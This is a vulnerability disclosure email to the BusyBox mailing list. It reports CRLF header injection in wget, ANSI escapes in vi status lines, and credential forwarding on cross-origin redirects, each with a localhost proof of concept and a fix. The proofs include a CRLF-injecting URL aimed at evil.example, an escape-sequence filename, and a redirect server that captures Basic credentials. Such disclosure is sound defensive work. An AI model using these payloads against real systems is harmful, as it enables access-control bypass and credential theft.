Hi BusyBox team,
I’d like to report a few issues I observed while testing BusyBox. They may
or may not be considered security-critical depending on your threat model,
but I’m sharing them for review. If I’ve misunderstood anything, please let
me know.
I'm not a big busybox contributor so I could be mistaken. Sorry.
Ubuntu 22.04
busybox 1.38.0
1) wget: header injection via unsanitized URL components
Summary:
wget places the URL path (and, in proxy mode, the absolute URI) directly
into the HTTP request line without sanitizing control characters. If an
attacker can influence the URL given to BusyBox wget, they can inject
arbitrary request headers (CRLF injection). This works both with and
without an HTTP proxy; the proxy in the PoC is only to make the raw request
easy to observe.
Impact (examples):
By injecting headers such as Authorization, Cookie, X-Forwarded-For, or
custom allow-listing headers (e.g., X-Secret), a request may bypass
application-level checks, alter routing, or pollute caches depending on the
environment.
This attack is possible simply by including user input in the URL.
PoC
# poc.py
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
need = "X-Secret"
print(self.headers)
if self.headers.get(need) == "yes":
self.send_response(200); self.end_headers();
self.wfile.write(b"OK\n")
else:
self.send_response(403); self.end_headers();
self.wfile.write(b"NO\n")
HTTPServer(("127.0.0.1", 9000), H).serve_forever()
# terminal 1
$ python3 poc.py
# terminal 2
$ unset http_proxy
$ export http_proxy=http://127.0.0.1:9000
$ BAD_URL=$'http://evil.example/reset?token= HTTP/1.1\r\nX-Secret:
yes\r\na:'
$ ./busybox wget "$BAD_URL" -O -
Observed (server side):
X-Secret: yes
a: HTTP/1.1
Host: evil.example
User-Agent: Wget
Connection: close
This demonstrates successful header injection (X-Secret: yes). The same
approach also works without a proxy (origin-form), e.g. using a direct URL
to http://127.0.0.1:9000/. <http://127.0.0.1:9000/>.. with the CRLF payload
in the path.
Suggested mitigation (minimal):
Reject control characters and whitespace (SP/HT/CR/LF) in host and path
before composing the request line.
Optionally percent-encode unsafe bytes in the path/query to improve
compatibility while preventing request splitting.
2) vi: ANSI escape sequences shown in status/error lines
Summary:
BusyBox vi appears to sanitize most editor messages, but the status line
and error message line still render ANSI escape sequences. A crafted
filename can trigger terminal control sequences.
Example:
$ busybox vi $'\033[2J\033[Hevil.txt'
This clears the screen via the status/error output. I haven’t developed a
concrete exploitation scenario, but it creates terminal spoofing / UX risks
(e.g., misleading prompts or hiding warnings). It may be related to recent
discussions around ANSI handling (e.g., CVE-2024-58251), though this is
specifically about the vi status/error lines.
Suggested mitigation:
Strip or escape control characters in all user-controlled strings rendered
in vi’s status and error lines (consistent with other message sanitization).
3) wget: credential forwarding on cross-origin redirect (behavior similar
to CVE-2021-31879)
Summary:
When fetching http://user:pass@origin/start, a 302 redirect to another
origin results in the Authorization: Basic ... header being sent to the new
origin. This matches the class of issues described in CVE-2021-31879 for
other clients.
PoC
# redirect_and_sink.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import threading
class Origin(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:8001/collect')
self.end_headers()
class Sink(BaseHTTPRequestHandler):
def do_GET(self):
print("=== [SINK] received request ===")
print("Path:", self.path)
print("Authorization:", self.headers.get('Authorization'))
self.send_response(200)
self.end_headers()
self.wfile.write(b'ok\n')
def run():
threading.Thread(target=lambda: HTTPServer(('127.0.0.1', 8000),
Origin).serve_forever(),
daemon=True).start()
HTTPServer(('127.0.0.1', 8001), Sink).serve_forever()
if __name__ == "__main__":
run()
# terminal 1
$ python3 redirect_and_sink.py
# terminal 2
$ busybox wget http://user:[email protected]:8000/start -O -
Observed (sink):
=== [SINK] received request ===
Path: /collect
Authorization: Basic dXNlcjpwYXNz
Suggested mitigation:
Clear Authorization (and proxy-auth) headers on redirects to a different
host/port/scheme unless explicitly allowed.
Closing
I don't know if this is by design or unintended behavior, but I hope this
helps.
Best regards,
_______________________________________________
busybox mailing list
[email protected]
https://lists.busybox.net/mailman/listinfo/busybox